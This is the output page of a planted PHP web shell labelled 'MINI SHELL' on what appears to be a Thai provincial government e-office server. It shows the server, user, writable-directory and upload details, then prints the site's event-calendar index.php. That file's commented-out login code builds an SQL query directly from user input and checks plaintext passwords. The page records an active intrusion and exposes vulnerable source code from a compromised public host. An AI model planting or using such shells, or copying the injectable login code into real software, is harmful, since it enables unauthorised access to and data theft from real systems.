MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/event_calendar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/event_calendar/index.php
<? 

session_start();
include("../../config/config.inc.php");
include("libary/function.php");
//if(session_is_registered("user_name")) {
	echo "<meta http-equiv='refresh' content='0;url=event_calendar.php'>" ;
	exit;
//}
/*
if ($_SERVER[REQUEST_METHOD] == "POST"){ 
if(isset($user_login) and isset($pwd_login)) {
	
	$result = mysql_query("select * from `user` where user='$user_login' and pass='$pwd_login'")or die("MySQL Error line 14<hr>".mysql_error());
	$num = mysql_num_rows($result) ;
	if($num <= 0) {

		$msg = "<div align=\"center\" class=\"normal\"><b class=\"warn\">Login Error</b><br><font class=\"brown\">รหัสผู้ใช้งาน</font> หรือ&nbsp;";
		$msg = $msg."<font class=\"brown\">หรัสผ่าน</font> ไม่ถูกต้อง<br>กรุณากรอกข้อมูลอีกครั้ง</div>";
		include("msg_box.php");
		echo "<meta http-equiv=refresh content=3;URL=index.php>";
		exit;

	} else {

		$rs = mysql_fetch_assoc($result);
		
		$user_permission = $rs[permission];
		$user_name = $rs[user];
		$name = $rs[name];
		$section = $rs[section];
		$manager_id = $rs[manager_id];
			
		session_register("user_name");
		session_register("user_permission");
		session_register("section");
		session_register("manager_id");
		
		
		$logon_time = date("Y-m-d H:i:s");
		$ip = get_real_ip();
		
		$sql = " insert into `user_log` set user = '$user_name', login_time = '$logon_time', ip = '$ip' ";
		$query = mysql_query($sql)or die("Query Line " . __LINE__ . " Error<hr>".mysql_error());
		
		$msg = "<div align=\"center\" class=\"normal\">ยินดีต้อนรับเข้าสู่ระบบ<br>สวัสดี <font class=\"blue\">&nbsp;<b>$name</b></font></div>";
		include("msg_box.php");
		echo "<meta http-equiv='refresh' content='3 ;url=event_calendar.php'>" ;
		exit;
	
	}
	mysql_free_result($result);	
}}
?>
<html>
<head><title>Please Login :.</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="libary/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table width="100%"  border="0" cellspacing="0" cellpadding="0">
<tr><td height="500" align="center">
<form action="<?=$PHP_SELF?>" method="post" name="post" onSubmit="return check();">
<table width="552" border="1" cellspacing="0" cellpadding="0" bordercolor="#cecece">
<tr><td>
<table width="550" border="0" cellspacing="0" cellpadding="0">
<tr valign="middle" bgcolor="#F1F3F5" class="normal">
	<td height="150" width="320" align="center"><img src="images/secu.png" width="64" height="64"><br>
	  <br>
	<div align="center" style="height:20px; width:250px; border: 1px solid black; background: #f8f8f8; padding: 1px 5px;">
	<marquee class="normal" direction="left" onMouseOver="this.stop()" onMouseOut="this.start()" scrollAmount="1" scrollDelay="1">
	กรุณากรอกชื่อ <img src="images/user.gif" width="16" height="16" align="absmiddle"> <b class="normal_blue">รหัสผู้ใช้</b> และ 
	<b class="normal_blue">รหัสผ่าน</b> เพื่อเข้าใช้งานระบบ
	</marquee>
	</div>		
	</td>
    <td width="230" align="center">
<table width="202" border="1" cellpadding="0" cellspacing="0" align="center" bordercolor="#e1e1e1">	
<tr><td>
<table width="200" border="0" cellspacing="0" cellpadding="0" bgcolor="#f8f8f8">
<tr>
	<td height="40" colspan="2" align="center"><img src="images/login.gif" width="74" height="33"></td>
</tr>
<tr>
	<td width="83" class="blue" align="right">UserName&nbsp;</td>
	<td width="117"><input name="user_login" type="text" maxlength="20" class="input" style="background-color:#ffffff; width:100px;"></td>
</tr>
<tr>
  	<td class="blue" align="right">Password&nbsp;</td>
	<td><input name="pwd_login" type="password" maxlength="20" class="input" style="background-color:#ffffff; width:100px;"></td>
</tr>
<tr>
	<td height="30">&nbsp;</td>
  	<td align="left"><input name="submit" type="submit" class="input" value="Login" style="font-weight:bold"></td>	
</tr>
</table>
</td></tr>
</table>	
	</td>
  </tr>
</table>
</td></tr>
</table>
<script lanuage="javascript">
function check() {
var v1 = document.post.user_login.value ;
var v2 = document.post.pwd_login.value ;
if(v1.length==0) {
alert("กรุณากรอกชื่อเข้าสู่ระบบ") ;
document.post.user_login.focus() ;
return false ;
}
else if(v2.length==0) {
alert("กรุณากรอกรหัสผ่าน") ;
document.post.pwd_login.focus() ;
return false ;
}
else 
return true ;
}
</script>
</form>
</td></tr>
</table>

</body>
</html>*/

Anon7 - 2021